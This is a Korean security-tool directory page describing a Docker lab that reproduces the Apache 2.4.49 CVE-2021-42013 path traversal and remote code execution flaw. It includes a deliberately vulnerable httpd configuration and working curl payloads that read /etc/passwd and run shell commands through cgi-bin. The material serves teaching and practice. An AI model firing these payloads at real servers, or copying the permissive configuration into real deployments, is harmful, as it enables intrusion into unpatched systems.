Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
apache-cve-2021-42013-rce — Apache HTTP Server (2.4.49)에서 CVE-2021-42013 취약점(Path Traversal & RCE)을 시뮬레이션하는 Docker 기반 침투 테스트 연구소 | Kitploit
도구/GitHubGitHub/zeynepglygt/apache-cve-2021-42013-rce
Vulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingLearning & EducationLabs & Practice
GitHubzeynepglygt/apache-cve-2021-42013-rce

apache-cve-2021-42013-rce

Apache HTTP Server (2.4.49)에서 CVE-2021-42013 취약점(Path Traversal & RCE)을 시뮬레이션하는 Docker 기반 침투 테스트 연구소

저장소 보기
6개월 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

apache-cve-2021-42013-rce

Apache HTTP Server (2.4.49)에서 CVE-2021-42013 취약점(Path Traversal & RCE)을 시뮬레이션하는 Docker 기반 침투 테스트 연구실입니다. 이 프로젝트는 Apache HTTP Server (2.4.49)에 존재하는 CVE-2021-42013 취약점을 격리된 환경에서 시뮬레이션하고 악용(exploit)하기 위해 준비되었습니다. 작업에서는 docker-exploit-lab이라는 특수 연구실 환경이 구축되었으며, 공격 시나리오는 동일 네트워크의 피해자(victim) 및 공격자(attacker) 시스템을 통해 수행되었습니다.

프로젝트 구조 및 설치 파일

연구실에는 두 가지 기본 구성 파일이 있습니다: Victim/Attacker 시스템을 정의하는 Docker Compose 파일과 Apache 서버를 취약하게 만드는 구성 파일입니다.

1. docker-compose.yml

이 파일은 172.20.0.0/16 서브넷에 격리된 환경을 생성합니다. 공격자 시스템이 시작될 때 공격에 필요한 curl 도구를 자동으로 설치합니다.

root@kitploit:~
services:
  victim:
    image: httpd:2.4.49
    container_name: victim-box
    volumes:
      - ./my-httpd.conf:/usr/local/apache2/conf/httpd.conf
    networks:
      lab_net:
        ipv4_address: 172.20.0.2
  attacker:
    command: sh -c "apt update && apt install curl -y && tail -f /dev/null"
    image: kalilinux/kali-rolling
    container_name: attacker-box
    tty: true
    networks:
      lab_net:
        ipv4_address: 172.20.0.3
networks:
  lab_net:
    driver: bridge
    ipam:
      config:
        - subnet: 172.20.0.0/16

2. my-httpd.conf

취약점을 트리거하기 위해 루트 디렉터리() 및 CGI 디렉터리에 Require all granted 권한을 부여하여 서버를 의도적으로 취약하게 만들었습니다. (중요 참고: 오류를 방지하려면 이 파일이 BOM(Byte Order Mark) 문자가 없는 일반 UTF-8 형식으로 저장되어 있는지 확인하십시오.)

Apache ServerRoot "/usr/local/apache2" Listen 80 LoadModule mpm_event_module modules/mod_mpm_event.so LoadModule authn_core_module modules/mod_authn_core.so LoadModule authz_core_module modules/mod_authz_core.so LoadModule unixd_module modules/mod_unixd.so LoadModule alias_module modules/mod_alias.so LoadModule cgid_module modules/mod_cgid.so User daemon Group daemon DocumentRoot "/usr/local/apache2/htdocs" AllowOverride none Require all granted ScriptAlias /cgi-bin/ "/usr/local/apache2/cgi-bin/" <Directory "/usr/local/apache2/cgi-bin/"> AllowOverride None Options +ExecCGI Require all granted

연구실 구동 및 공격 단계

시스템을 시작하려면 작업 디렉터리에서 터미널에 다음 명령을 실행합니다:
docker compose up -d 시스템이 가동된 후, 공격 명령을 실행할 Kali Linux 시스템에 접속합니다: Bash docker exec -it attacker-box /bin/bash

1단계: Path Traversal (디렉터리 우회)

Kali 시스템 내에서 대상 시스템의 고정 IP 주소(172.20.0.2)로 URL 인코딩된 문자(.%%32%65)를 전송하여 디렉터리 우회 취약점을 트리거하고 /etc/passwd 파일을 읽습니다: Bash curl -v --path-as-is http://172.20.0.2/icons/.%%32%65/.%%32%65/.%%32%65/.%%32%65/etc/passwd

2단계: RCE (원격 코드 실행)

Apache 구성에서 CGI 디렉터리를 승인했으므로, 동일한 디렉터리 우회 로직을 /cgi-bin/을 통해 사용하여 서버에서 직접 셸 명령을 실행할 수 있습니다. id 명령을 실행하려면: Bash curl -v --path-as-is -d "echo; id" "http://172.20.0.2/cgi-bin/.%%32%65/.%%32%65/.%%32%65/.%%32%65/bin/sh" 성공적인 출력: uid=1(daemon) gid=1(daemon) groups=1(daemon)

결과

이 연구는 업데이트되지 않은 웹 서버에서 외부에서는 무해해 보이는 Path Traversal 취약점이, 잘못 구성된 CGI 모듈 권한과 결합될 때 어떻게 완전한 권한의 원격 코드 실행(RCE)으로 이어지는지 실습을 통해 보여줍니다.

도구 다운로드